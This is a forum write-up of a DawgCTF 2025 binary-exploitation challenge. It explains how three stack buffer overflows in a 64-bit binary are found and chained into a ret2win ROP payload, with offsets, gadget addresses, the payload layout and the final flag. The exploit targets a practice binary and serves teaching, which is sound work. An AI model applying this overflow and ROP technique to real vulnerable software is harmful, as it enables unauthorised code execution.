[DawgCTF 2025] [PWN] 64 bits in my Ark and Texture

TL;DR
basic buffer overflows
overwriting return addies 2 wiin

1. what are we working with?
64‑bit ELF (ET_EXEC), NX enabled, no PIE ⇒ every address is static

Three hidden flag functions in .text:
  • win1() → prints flag1.txt (no args)
  • win2(arg) → prints DEADBEEF.txt (needs one 64‑bit arg)
  • win3(a,b,c) → prints the final flag (needs three 64‑bit args)
Classic stack buffer overflow after a short “quiz”
Stack must be 16‑byte aligned before every call

Here my reversing notes:
1745304014313-png.12


Ye we defiently wont google the answers, they are free anyways

1745304150101-png.13


Ladies and gents, buffer overflow
we need the offset to the return addy, for our exploit
0x88 (buffer) + 0x08 (saved RBP) + 0x08 (saved RIP) = 0x98

quick explanation why this is broken:
fgets is told to accept 512 bytes (0x200) but the buffer can only hold 136 bytes
Any input longer than 136 bytes keeps writing past the end of s,overwriting:
  1. the saved base pointer,
  2. the saved return address (control‑flow pivot)
What we will do in the exploit:
"A" * 0x98 # fills buffer + saved RBP exactly
<new RIP> # first 8 bytes beyond 0x98 overwrite return addr

When the function later executes leave; ret, execution jumps to the value weplaced after the 0x98‑byte padding, kicking off our ROP chain (win1 → win2 → win3).

1745304499231-png.14


Within win1 the flag part 1 will be pritned, from a flag.txt file on the target system
we can also see the addy of win2... our next target
in addition there is another buffer overflow within the Continue: prompt

Soo...
mov esi, 0x60 ; n = 96 bytes
lea rax, [rbp+s] ; rax -> buffer (32 bytes big)
call fgets ; fgets(buf, 96, stdin)

Buffer size: 32 bytes
Requested input: 96 bytes

Any input longer than 32 bytes:
overwrites var_18, var_9, stream
overwrites the saved base pointer
overwrites the saved return address – giving us full control of rip when win1 later executes leave; ret

well once we wander into win2 we are met with a gate check x)
if we didnt load 0xDEADBEEF into RDI we are taking a roundtrip to _exit

mov [rbp‑0x34], edi ; save first argument
cmp [rbp‑0x34], 0xDEADBEEF ; must be exact
jnz fail_exit

1745304854245-png.16


but ye we are presented with the second flag part

1745304841991-png.15


Im getting hyped for the final test x)
1745304876581-png.17


saved RIP, RBP each of size 8
stream: 8
var_9: 1
padding... 7
s: 22
var_28: 8
var_30: 24

Only 24 bytes are reserved for var_30, but fgets is told to read0x100 (256) bytes.

Everything beyond the first 24 bytes:
overwrites var_28, s, var_9, stream
clobbers the saved base pointer
finally replaces the saved return address

When win2 finishes and executes leave; ret, execution jumps to whatever 64‑bit value we placed 40 bytes (0x28) after the start of the input buffer.

soo we return to win3 but OBACHT, we have too bring some stuff x)
so we craft our rop chain to bring our artifacts to the party

1745305616295-png.18


pop rdi ; ret → 0xDEADBEEF
pop rsi ; ret → 0xDEAFFACE
pop rdx ; ret → 0xFEEDCAFE
ret → keep 16‑byte alignment
win3 ← new return address

Once we land in win3 our artifacts are already in RDI, RSI and RDX, the gate check passes, filename is built and last flag is printed. No clue why filename is suddenly being "obfuscated" lolz

1745305635899-png.19


2. our anatomy x) we use these with our pwn tooling
OFFSET = 0x98 # distance from buf start to saved RIP
RET = 0x40101a # solitary bare ret; used for alignment
POP_RDI, POP_RSI, POP_RDX = 0x4017d6, 0x4017d8, 0x4017da
WIN1, WIN2, WIN3 = 0x401401, 0x401314, 0x4011e6
EXIT = 0x4010f0

3. bypasing annoying intro quiz
1745303383824-png.9

just send 2, 1 and 4 to successfully pass the quizz

4. our rop chain - payload
Code:
"A"*0x98            # fill buffer to saved RIP
ret                 # align stack (16‑B)
→ win1()

pop rdi ; ret
0xDEADBEEF
ret                 # align
→ win2(0xDEADBEEF)

pop rdi ; ret       # a
0xDEADBEEF
pop rsi ; ret       # b
0xDEAFFACE
pop rdx ; ret       # c
0xFEEDCAFE
ret                 # align
→ win3(a,b,c)

→ exit()

1745303613648-png.11


Why align? On System V AMD64 (hosts os) the caller must keep rsp 16‑byte aligned just before a call. Each pop … ; ret shifts rsp by 8; inserting one plain ret (which itself pops another 8) restores alignment.

So we create a lil helper func to 16bit align when required
1745303531976-png.10


5. Summarizing the exploitation flow
  1. connect & autosolve the quizz
  2. send crafted rop string trough first fgets
  3. bin returns into win1 and gives us the first flag part
  4. execution falls trough to our next gadget seq > win2(0xDEADBEEF) prints second chunk
  5. > win3(0xDEADBEEF, 0xDEAFFACE, 0xFEEDCAFE) prints final flag
  6. exit muahaha
1745303104071-png.8


Wrap up
pretty trivial buffer overflows x)
Static binary + NX → pure ROP is enough, no leaks required.
Keep 16‑byte alignment (one extra ret before each real call).
Ret2Win & bringing our artifacts along to bypass the gate checks x)

Flag:> DawgCTF{C0ngR4tul4t10ns_d15c1p13y0u4r3_r34dy_2_pwn!}
 

Attachments

  • 1745303104071.png
    133.7 KB · Views: 17
  • 1745303383824.png
    6.5 KB · Views: 17
  • 1745303531976.png
    2.9 KB · Views: 16
  • 1745303613648.png
    49.8 KB · Views: 16
  • 1745304014313.png
    15.2 KB · Views: 20
  • 1745304150101.png
    15.9 KB · Views: 20
  • 1745304499231.png
    39.2 KB · Views: 20
  • 1745304841991.png
    15.4 KB · Views: 19
  • 1745304854245.png
    10.2 KB · Views: 19
  • 1745304876581.png
    17.6 KB · Views: 19
  • 1745305616295.png
    19.7 KB · Views: 17
  • 1745305635899.png
    26.8 KB · Views: 16
Back
Top